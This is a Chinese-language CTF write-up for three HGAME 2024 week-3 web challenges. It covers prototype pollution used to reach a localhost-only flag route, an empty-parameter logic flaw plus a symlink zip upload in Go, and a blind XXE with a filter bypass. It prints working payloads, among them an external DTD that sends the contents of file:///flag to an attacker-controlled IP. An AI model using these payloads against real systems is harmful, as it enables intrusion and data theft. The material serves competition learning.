hgame2024_week3
Web
WebVPN
题目给出了 js 源码,开始分析。
分析源码的过程中,发现了 update 函数,考虑是否存在原型链污染。
function update(dst, src) {for (key in src) {if (key.indexOf("__") != -1) {continue;}
if (typeof src[key] == "object" && dst[key] !== undefined) {update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
而后发现了 /user/info
路由,需要我们进行 post 传参, 同时在这里调用 update 函数,也正是原型链污染的漏洞之处。
app.post("/user/info", (req, res) => {if (!req.session.username) {res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});
紧接着,继续阅读代码,发现了 /flag
路由,其中对我们的请求体各个方面做了限制,相当于从本地访问路由了。
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});
于是思考如何才能绕过限制,分析代码,发现了 /proxy
路由,此处也是整道题最为重要的部分,需要理清中间的代码逻辑。
app.use("/proxy", async (req, res) => {const { username} = req.session;
if (!username) {res.sendStatus(403);
}
let url = (() => {
try {return new URL(req.query.url);
} catch {res.status(400);
res.end("invalid url.");
return undefined;
}
})();
if (!url) return;
if (!userStorage[username].strategy[url.hostname]) {res.status(400);
res.end("your url is not allowed.");
}
try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1);
if (key.trim() !== session_name) {filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;
});
const remote_res = await (() => {if (req.method == "POST") {
return axios.post(url, req.body, {headers: headers,});
} else if (req.method == "GET") {
return axios.get(url, {headers: headers,});
} else {res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {res.status(500);
res.end("unreachable url.");
}
});
分析整个 /proxy
路由可以发现,需要我们传入的 session 正确,做题的时候发现,其实我们根本不需要对 session 对任何修改,因为题目默认就是 username。然后,将从请求头中获得到的 url 作为参数新建一个 URL 对象。同时判断,userStorage
对象中是否存在此 url。然后,构造 headers,host,cookie 等作为请求头采用 get 或 post 方式访问 url。
因此我们的方法是,通过 /proxy
构造的 url 对象访问 /flag
路由获得 flag。
因此所需要访问的 url 为 /proxy?url=http://127.0.0.1:3000/flag
才能达到从本地访问 /flag
的效果。
那么在代码中写道,url 必须在 userStroage
对象中存在才可以,我们怎么办到呢?
自然是通过原型链污染。代码中将我们输入的对象与 userStroage
里的内容作为参数,放到 update 里进行更新,我们输入的对象是可控的。因此只需要让 Object 类存在此 url 即可。
代码为
"a": 1, "constructor":{"prototype":{"127.0.0.1":true}}
这样便可以成功污染,当在 userStorage
中寻找此 url 时,由于寻找不到,就会寻找原生类中是否存在此 url,而原生类又被我们成功污染,因此便可以找到。
因此,总的做题流程为,在 /user/info
处进行原型链污染
此处需要注意一点,源代码中 ban 了 __
因此无法用 __proto__
,所以我们可以用constructor.prototype
来绕过
然后,刷新 /home
界面,并访问 url。且抓包修改我们所需要的 url。
Zero Link
题目给出了源码
审计 go 语言代码过后,发现存在多个 api,而我们可以通过 /api/user
查询用户密码。
但仔细审计就会发现,存在一个逻辑漏洞,就是题目只判断了传入的 username 是否为 Admin 或者判断传入的 Token 是否为 0000,但是并没有判断是否为空。
根据一篇文章过后,发现默认的变量为空,进行查询过后会默认查询第一条数据。
Go 语言特性引发的安全问题的思考
也就是说只要我我们传入的值为空,就会默认显示数据库第一条数据,而查看第一条数据后发现,就是 Admin 的密码
查询获得密码
登录后是一个文件上传的界面, 然后审计源码后发现,题目限制了上传类型为 zip 且存在 unzip 路由,能够解压压缩包
此时自然就能想到软链接打 unzip。具体详细解释可看下面这位师傅的博客
【CISCN2023】unzip 详解
解压过后,源码发现存在路由 /api/secret
可以进行读文件,而原来的 secret 内容为 /fake_flag
。所以我们只需要把内容修改为/flag
然后利用上传覆盖掉原来的 secret 即可
然后上传两个压缩包。先上传软链接,再上传含木马的压缩包。
访问 /api/unzip
解压压缩包
访问 /api/secret
获得 flag
VidarBox
参考师傅的博客HGAME2024-WEB WP
题目给出了源码
核心代码如下
@GetMapping({"/backdoor"})
@ResponseBody
public String hack(@RequestParam String fname) throws IOException, SAXException {DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();
if (content != null && this.safeCheck(content)) {XMLReader reader = XMLReaderFactory.createXMLReader();
reader.parse(new InputSource(new ByteArrayInputStream(content)));
return "success";
} else {return "error";}
}
private boolean safeCheck(byte[] stream) throws IOException {String content = new String(stream);
return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
!content.contains("doctype") && !content.contains("entity");
}
很明显是一个无回显的 xxe,而且还过滤掉了一些关键词。
那么首先我们需要准备一个 xml 文件
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://43.138.81.44/1.dtd">
%remote;%int;%send;
]>
然后绕过可以用编码绕过
iconv -f utf8 -t utf16 1.xml>2.xml
紧接着就是需要一个 dtd 文件来读取 flag
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://43.138.81.44/1.txt?p=%file;'>">
两个文件全部放到 vps 上. 然后需要注意的是 vps 上需要启动 ftp 服务,因为需要用 file 去读文件
所以还要创建一个账户anonymous:Java17.0.1@
将 2.xml 放在目录下,用靶机连接即可
/backdoor?fname=../../xx.xx.xxx.xx:21/2.xml%23
还有一个方法,用条件竞争,参考晨曦师傅hgame2024_week3 WP